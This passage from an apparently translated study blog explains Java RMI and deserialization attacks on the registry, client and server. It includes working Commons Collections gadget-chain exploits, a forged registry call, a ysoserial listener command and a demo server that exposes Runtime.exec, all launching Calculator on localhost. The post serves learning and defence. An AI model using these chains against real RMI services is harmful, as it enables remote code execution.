Java RMI and Its Deserialization Study#
Due to the length of the article, the JEP290 bypass will be discussed in a subsequent article.
Introduction#
There are already many articles online about this attack. As a beginner, I want to write down what needs to be done in this article, rather than just repeating what has already been said.
- Record and understand some concepts related to this content.
- Document existing PoC and exploits for easy future use.
- Write down your own thoughts, understanding, and code in appropriate places.
- Understand the attack ideas and principles, and create your own exploits, which can help you answer interview questions.
This article is relatively long because I tend to write down every debugging step. This way, it is easier to resolve doubts during review. However, the downside is that it is difficult to quickly obtain the core information needed. Therefore, it is best to extract the knowledge and ideas needed for interviews or vulnerability exploitation in the introduction.
Java RMI and Its Deserialization Study#
0x01 RMI Basics#
RPC#
RPC (Remote Procedure Call) is a way to call remote functions as if calling local functions. It is not a specific framework, but any implementation of remote procedure calls can be referred to as RPC. For example, RMI (Remote Method Invocation) is a Java framework that implements RPC.
Java Proxy#
Proxy Pattern#
The proxy pattern is a design pattern that provides an additional access method to the target object, allowing access to the target object through a proxy object. This can provide additional functionality without modifying the original target object.
Static Proxy#
This proxy method requires the proxy object and the target object to implement the same interface.
-
Interface Class: IUserDao.java
package static_proxy; public interface IUserDao { public void save(); }
-
Target Object: UserDao.java
package static_proxy; // Implements IUserDao interface public class UserDao implements IUserDao{ @Override public void save() { System.out.println("Saving data"); } }
-
Static Proxy Object: UserDapProxy.java
package static_proxy; // Also needs to implement IUserDao interface public class UserDapProxy implements IUserDao{ private IUserDao target; public UserDapProxy(IUserDao target) { this.target = target; } @Override public void save() { // Overriding method System.out.println("doSomething before"); // Operations that can be added before execution target.save(); // The actual method that needs to be called System.out.println("doSomething after"); // Operations that can be added after execution } }
-
Test Class: TestProxy.java
package static_proxy; public class TestProxy { public static void main(String[] args) { // Target object IUserDao target = new UserDao(); // Proxy object UserDapProxy proxy = new UserDapProxy(target); // Call method through proxy proxy.save(); } }
doSomething before
Saving data
doSomething after
As can be seen, additional functionality has been added before and after calling the method without modifying the original object. The downside of this approach is as follows:
- Redundancy: Since the proxy object must implement the same interface as the target object, too many proxy classes may be generated.
- Difficult to maintain: If the interface adds methods, both the target object and the proxy object need to be modified.
Dynamic Proxy#
Dynamic proxy uses reflection in Java to dynamically construct proxy objects in memory, thereby achieving proxy functionality for target objects. Dynamic proxies are also known as JDK proxies or interface proxies. Dynamic proxy objects do not need to implement interfaces, but the target object must implement an interface; otherwise, dynamic proxies cannot be used.
-
Dynamic Proxy Object: UserProxyFactory.java
package Dynamic_proxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class UserProxyFactory { private Object target; public UserProxyFactory(Object target) { this.target = target; } public Object getProxyInstance() { // Returns a proxy class instance for the specified interface, which can delegate method calls to a specified invocation handler. return Proxy.newProxyInstance( target.getClass().getClassLoader(), // Specify the class loader for the current target object target.getClass().getInterfaces(), // Types of interfaces implemented by the target object new InvocationHandler() { // Event handler @Override // Override the invoke method of InvocationHandler class to call methods via reflection public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("doSomething before"); Object returnValue = method.invoke(target, args); System.out.println("doSomething after"); return null; } } ); } }
-
Test Class: TestDynamicProxy.java
package Dynamic_proxy; import static_proxy.*; public class TestDynamicProxy { public static void main(String[] args) { IUserDao target = new UserDao(); System.out.println(target.getClass()); // Get target object information System.out.println(target.getClass().getSuperclass()); // Get the superclass of the target object System.out.println(target.getClass().getInterfaces()); // Get the interfaces implemented by the target object IUserDao proxy = (IUserDao) new UserProxyFactory(target).getProxyInstance(); // Get proxy class System.out.println(proxy.getClass()); // Get proxy object information proxy.save(); // Execute proxy method } }
RMI#
RMI (Remote Method Invocation) is a remote method call. It allows the client to remotely invoke methods on the server. The JVM can remotely call methods in another JVM, but the client does not directly call methods on the server; instead, it uses a stub to act as a proxy for the client to access the server. The skeleton is another proxy that resides on the server alongside the real object. The skeleton receives requests and hands them over to the server for processing. After the server processes the request, it packages the result and sends it back to the stub, which then unpacks the result and sends it to the client.
Serialization Transmission#
In RMI, objects that are transmitted must implement the java.io.Serializable interface because the transmission process involves serialization. The serialVersionUID field in the client must match that of the server. The aced
in the diagram below is the marker for deserialization.
Main Components of RMI#
RMI mainly consists of three parts:
- RMI Registry: The service instance will be registered in the registry under a specific name (think of it as a phone book).
- RMI Server: The server side.
- RMI Client: The client queries the registry to obtain the object reference corresponding to the name and the interfaces implemented by that object.
First, our RMI Client will remotely connect to the RMI Registry (default port 1099) and look for an object named Test (assuming the client wants to call a method in the Test object). The Registry will find the remote object reference with the corresponding name and return it serialized (the data content is the address of the remote object, which is the stub mentioned earlier). After the client receives it, it will first look for it in its local classpath. If it does not find it, it indicates that it is a remote object, and the client will establish a TCP connection with the remote address.
Stub and Skeleton#
When the RMI Server starts, the port is randomly assigned, but the RMI Registry port is known.
- The client remotely connects to the Registry to obtain the stub, which contains the location information of the remote object, such as the socket port and server host address, and implements the specific low-level network communication details during remote calls.
- Since the stub is the proxy class for the client, the client can call methods on the stub.
- The stub remotely connects to the server and submits the corresponding parameters.
- The skeleton receives the data and deserializes it, then sends it to the server.
- The server executes and packages the result, transmitting it back to the client.
0x02 RMI Demo#
Server#
- Write an interface that implements Remote.
- Write an implementation class that extends UnicastRemoteObject.
The implementation class of the remote object must extend UnicastRemoteObject; only by extending can it be indicated that this class is a remote object. If not extended, we need to manually call the exportObject static method in the class.
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote {
String RmiDemo(String cmd) throws Exception;
}
public class RMIInstance extends UnicastRemoteObject implements RMIinterface {
protected RMIInstance() throws RemoteException {
super();
}
@Override
public String RmiDemo(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
return "+OK";
}
}
}
Registry#
The RMI Registry is like an RMI phone book. You can use the Registry to look up references to remote objects registered on another host. We can register a binding relationship between a name and an object, but the Registry itself will not execute remote methods. The RMI Client queries the RMI Registry by name to obtain this binding relationship, then connects to the RMI Server, and the remote method is actually called on the RMI Server.
// Create and run the Registry service, with port 1099
LocateRegistry.createRegistry(1099);
// Naming.bind binds the rmIinterface object to the name Exp; the first parameter is a URL, and the second parameter is our object
Naming.bind("rmi://127.0.0.1/Exp", rmIinterface);
Combining Server and Registry:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote {
String RmiDemo(String cmd) throws Exception;
}
public class RMIInstance extends UnicastRemoteObject implements RMIinterface {
protected RMIInstance() throws RemoteException {
super();
}
@Override
public String RmiDemo(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
return "+OK";
}
}
public void start() throws Exception {
RMIinterface rmIinterface = new RMIInstance();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/Exp", rmIinterface);
}
public static void main(String[] args) throws Exception {
new server().start();
}
}
Client#
Use Naming.lookup to find the corresponding instance and call the method, passing "open -a Calculator" as a parameter.
import java.rmi.Naming;
public class client {
public static void main(String[] args) throws Exception {
server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp");
String res = rmIinterface.RmiDemo("open -a Calculator");
System.out.println(res);
}
}
RMI Communication (Wireshark)#
In the entire RMI communication process, there will be two TCP connections:
- The first connection is established with Registry:1099, and the Registry returns the stub.
- The second connection is established after obtaining the Server address (127.0.0.1:53763), using the stub to call the remote method, so the method call occurs in this TCP communication.
0x03 Security Issues Brought by RMI#
Calling Remote Malicious Methods#
Since we can use the RMI mechanism to directly call remote methods, if there are some malicious methods on the Server side that happen to be registered in the Registry, can we directly call these remote malicious methods to attack? Typically, the default port for RMI Registry is 1099, so what can we do if we can access the RMI Registry?
- Attempt to bind a malicious object. The answer is no; only when the source address is localhost can we call the rebind, bind, and unbind methods. However, we can use the list and lookup methods.
- Use malicious methods that exist on the RMI server to execute commands. We can first list all object references using the list method, and as long as there are some dangerous methods on the target server, we can call them via RMI. There was a tool that had a feature for detecting dangerous methods https://github.com/NickstaDB/BaRMIe.
Using Codebase to Execute Commands#
Simply put, the codebase is the path for remotely loading classes. When an object sends serialized data, it carries the codebase information. If the receiver does not find the class in its local classpath, it will go to the address pointed to by the codebase to load the class.
In RMI, we can transmit the codebase along with the serialized data. When the server receives this data, it will look for the class in the CLASSPATH and the specified codebase. The vulnerability arises from arbitrary command execution due to the controlled codebase.
Specify the codebase method:
java -Djava.rmi.server.codebase=http://url:8080/
# or
java -Djava.rmi.server.codebase=http://url:8080/xxx.jar
Additionally, the system property value can also be set in the code using System.setProperty()
:
System.setProperty("java.rmi.server.codebase", "<http://url:8080/>");
Thus, the official has noted this security vulnerability, so only RMI servers that meet the following conditions can be attacked:
- Due to the restrictions of
Java SecurityManager
, remote loading is not allowed by default. If remote loading of classes is needed,RMISecurityManager
must be started andjava.security.policy
configured. - The Java version is lower than 7u21, 6u45, or
java.rmi.server.useCodebaseOnly=false
is set.
The
java.rmi.server.useCodebaseOnly
is a default setting modified in Java 7u21 and 6u45:https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html
https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
The official default value of
java.rmi.server.useCodebaseOnly
was changed from false to true. Whenjava.rmi.server.useCodebaseOnly
is set to true, the Java Virtual Machine will only trust pre-configured codebases and will no longer support obtaining them from RMI requests.
RMI Deserialization Attacks#
One of the cores of RMI is dynamic class loading. Whether it is the Client, Server, or Registry, when operating on remote objects, serialization and deserialization will inevitably be involved. If one side calls the overridden readObject()
method, we can perform a deserialization attack.
RMI Interaction Methods#
Since it is deserialization, we need to find deserialization points, which occur during RMI communication. We need to understand the functions that interact with each object, starting with the various ways to interact with the registry.
In the RMI process, the following five interaction methods are often involved, which are located in RegistryImpl_Skel.dispatch()
. The corresponding cases for each method are as follows:
- 0 -> bind
- 1 -> list
- 2 -> lookup
- 3 -> rebind
- 4 -> unbind
list
The list method is used to list the remote objects bound to the Registry.
case 1:
var2.releaseInputStream();
String[] var79 = var6.list();
try {
ObjectOutput var81 = var2.getResultStream(true);
var81.writeObject(var79);
break;
} catch (IOException var75) {
throw new MarshalException("error marshalling return", var75);
}
Without readObject()
, it cannot be exploited.
bind & rebind
The bind
method is used to bind a remote object to the Registry, and the rebind
method is similar to bind
.
case 0:
RegistryImpl.checkAccess("Registry.bind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var80);
try {
var2.getResultStream(true);
break;
} catch (IOException var76) {
throw new MarshalException("error marshalling return", var76);
}
case 3:
RegistryImpl.checkAccess("Registry.rebind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var70) {
throw new UnmarshalException("error unmarshalling arguments", var70);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var80);
try {
var2.getResultStream(true);
break;
} catch (IOException var69) {
throw new MarshalException("error marshalling return", var69);
}
It can be seen that both bind
and rebind
methods contain the readObject()
method. If the server calls the bind
and rebind
methods and has installed components with deserialization vulnerabilities, we can perform deserialization attacks.
lookup & unbind
The lookup
method is used to obtain a remote object from the Registry, and unbind
is used to unbind a remote object.
case 2:
try {
var8 = var2.getInputStream();
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var73) {
throw new UnmarshalException("error unmarshalling arguments", var73);
} finally {
var2.releaseInputStream();
}
var80 = var6.lookup(var7);
try {
ObjectOutput var82 = var2.getResultStream(true);
var82.writeObject(var80);
break;
} catch (IOException var72) {
throw new MarshalException("error marshalling return", var72);
}
case 4:
RegistryImpl.checkAccess("Registry.unbind");
try {
var8 = var2.getInputStream();
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var67) {
throw new UnmarshalException("error unmarshalling arguments", var67);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var66) {
throw new MarshalException("error marshalling return", var66);
}
It can be seen that both of these methods contain readObject()
, but for the String
class, we cannot exploit it directly. We can forge a connection request to exploit it.
Attacking the Registry#
The methods for attacking the registry from the server and client are the same; both remotely obtain the registry and pass a malicious object for exploitation.
bind and rebind
Server code:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User{
protected UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak " + say);
}
}
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url, user);
System.out.println("RMI server is running");
}
}
Client:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); // Create the first proxy handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); // Create proxy object
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
registry.bind("test", r);
}
}
Key focus:
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
Since it is not possible to pass an AnnotationInvocationHandler
class object when calling bind()
, it must be converted to the Remote class. The Remote.class.cast
here effectively converts a proxy object into a Remote object:
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler)
In the above code, a proxy object is created that proxies the Remote.class interface, and the handler is our handler object. When any method of this proxy object is called, it will ultimately invoke the invoke method of the handler.
The handler is an InvocationHandler object, so when r
is deserialized, it will enter the invoke method of the InvocationHandler object. At this point, the memberValues
will trigger the get method, and memberValues
is proxy_map
, which is also a proxy class object, so it will continue to trigger the invoke method of proxy_map
, and the subsequent content is the first half of cc1.
But why do we need to wrap a proxy object instead of directly converting it to the Remote type?
Remote.class.cast
can refer to: About the Class.cast method in JAVA. The purpose of this method is to force a type conversion. The deserialization process can be referenced in: Serialization and Deserialization.
However, this means that the client is also on 127.0.0.1, so it can bind a malicious object; in reality, it cannot bind remotely.
unbind & lookup
Here, only a String can be passed, and there are two exploitation methods:
- Forge a connection request.
- Use RASP to hook the request code and modify the data sent.
We first obtain the Registry_Stub object through getRegistry
, and then we can call lookup
:
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
Since the parameter var1
can only be of type String, we need to forge our own implementation of the lookup
method and pass our malicious class in var3.writeObject(var1);
.
We can imitate it to override a lookup
, assigning the malicious object to var1
to pass in.
PoC:
package rmi.attack_reg;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class client2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); // Create the first proxy handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); // Create proxy object
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// Get ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
// Get operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// Forge lookup code to forge transmission information
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
It seems that the lookup
method is not used here, but rather a forged request is made to transmit the information, which then enters the corresponding branch of dispatch for deserialization. So this is not really an attack method, but rather a thought process.
Attacking the Client Side#
Aside from unbind and rebind, other operations will return data to the client, and this data is serialized, so the client will naturally deserialize it. Therefore, we only need to forge the return data from the registry to achieve an attack on the client.
Registry Attacking the Client
Here, the yso's JRMPListener is already set up, and the command is as follows:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'
In addition to list()
, all other operations can be exploited:
list()
bind()
rebind()
unbind()
lookup()
The principles are similar; when looking at RegistryImpl_Stub.java#list
:
newCall
establishes a new TCP connection for subsequent remote calls. Here, it corresponds to registry.list();
. We want to list the registry, and ref.invoke
in this.releaseOutputStream();
will send this request to the registry, and this.getInputStream();
will retrieve the data returned by the registry, storing it in this.in
, which will then execute readobject
to trigger the attack.
Server Attacking the Client
Server attacks on the client can be divided into two scenarios.
- Using codebase.
- The server returns parameters as Object objects.
Here, we will only look at the second case, as the first one has already been discussed and is difficult to exploit.
When the server returns an Object object to the client, the client will deserialize this Object object. When a remote method is called, the return is an Object object interface.
Interface:
import java.rmi.Remote;
public interface User extends Remote {
public Object getUser() throws Exception;
}
Malicious UserImpl:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
public LocalUser() throws RemoteException {
super();
}
public Object getUser() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Retention.class, outmap);
return instance;
}
}
Malicious Server:
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser();
Registry registry = LocateRegistry.createRegistry(8888);
registry.bind("user", liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch = new CountDownLatch(1);
latch.await();
}
}
Client:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}
This means that the result returned from calling the remote method is an Object object, which is then returned to the client during deserialization.
Attacking the Server Side#
When the remote method that the client needs to call has an Object class as a parameter, the client can send a malicious object. Since remote objects are transmitted in serialized form, the server will inevitably deserialize it upon receiving it. If the server happens to have components with deserialization vulnerabilities installed, we can perform an attack. Let's simulate this.
In essence, this method still involves passing a malicious object to the server, and it has the following exploitation conditions:
- The server has a remote method that can pass Object objects.
- The server has installed components that contain deserialization vulnerabilities.
Server:
package rmi.attack_server;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3333);
User user = new UserImpl();
registry.bind("User", user);
System.out.println("rmi start at 3333");
}
}
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
package rmi.attack_server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// java.rmi.server.UnicastRemoteObject constructor generates stub and skeleton
public class UserImpl extends UnicastRemoteObject implements User {
// Must have an explicit constructor and throw a RemoteException
public UserImpl() throws RemoteException {
super();
}
@Override
public String name(String name) throws RemoteException {
return name;
}
@Override
public void say(String say) throws RemoteException {
System.out.println("you speak " + say);
}
@Override
public void dowork(Object work) throws RemoteException {
System.out.println("your work is " + work);
}
}
Client:
package rmi.attack_server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:3333/User";
User userClient = (User) Naming.lookup(url);
System.out.println(userClient.name("test"));
userClient.say("world"); // This will output on the server side
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
During debugging, I encountered some issues because we need to focus on the interaction with the server, so we can set a breakpoint at UserImpl#dowork
. However, when I debug at the client, I find that it does not jump to UserImpl#dowork
. After consulting with zjj, I found that I need to debug on the server side because they are two separate processes. When dowork
is executed, the server is actually waiting for the client to send data, so I need to debug on the server side. The call stack is as follows:
dowork:22, UserImpl (rmi.attack_server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1391780250 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
Here, we need to focus on UnicastServerRef#dispatch
.
The dispatch
function is responsible for handling remote calls. It receives two parameters: one is the remote object var1
, and the other is the remote call object var2
.
var1
is aRemote
type object representing the remote object. It is the actual remote object instance on the server side.var2
is aRemoteCall
type object representing the remote call. It encapsulates the client's call to the remote object's method, including input and output streams.
In short, var1
is the remote object instance on the server side, while var2
is the client's call to that remote object's method.
From var2
, the method to be called on the remote object is read. The hashToMethod_Map
stores the methods of the remote object that support remote calls, and here var4=-1
.
Here, it can be seen that the name
method is called, and the length of the parameter list is obtained. The parameter list length is then iterated over, entering unmarshalValue
:
Here, it first checks the incoming var0
to determine how to read the data. If it is a basic type, it reads according to the corresponding method; otherwise, it performs deserialization. Here, var1
is the serialized character sent by the client to the remote object method (which we can control).
Server String Type Parameter Method Exploitation#
However,
String.class
is not found here. If a remote object's function can accept a String type parameter, can we deserialize the passed object?
We can try to set a method on the server side that accepts a String type, and then construct the same method on the client side, but change the parameter and return type to Object.
Here is the code for the server part:
Interface:
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
void say(String say) throws RemoteException;
}
Implementation Class:
package rmi.attack_server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
// Must have an explicit constructor and throw a RemoteException
public UserImpl() throws RemoteException {
super();
}
@Override
public void say(String say) throws RemoteException {
System.out.println("you speak " + say);
}
}
RMI Server:
package rmi.attack_server;
import sun.rmi.server.UnicastServerRef;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class serverTest {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3333);
User user = new UserImpl();
registry.bind("User", user);
System.out.println("rmi start at 3333");
}
}
Client code:
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
// String name(String name) throws RemoteException;
void say(Object say) throws RemoteException;
// void dowork(Object work) throws RemoteException;
}
Implementation Class:
package rmi.attack_server;
import java.rmi.RemoteException;
